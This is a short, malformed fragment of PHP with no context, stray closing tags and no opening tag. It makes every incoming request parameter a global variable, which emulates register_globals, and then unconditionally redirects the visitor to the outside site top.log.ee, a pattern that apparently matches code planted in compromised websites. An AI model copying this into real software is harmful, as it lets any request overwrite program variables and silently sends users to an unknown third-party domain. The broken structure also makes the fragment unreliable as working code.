foreach ($_REQUEST as $key => $val) { global ${$key}; ${$key} = $val; } ?> $URL="http://top.log.ee"; header ("Location: $URL"); ?>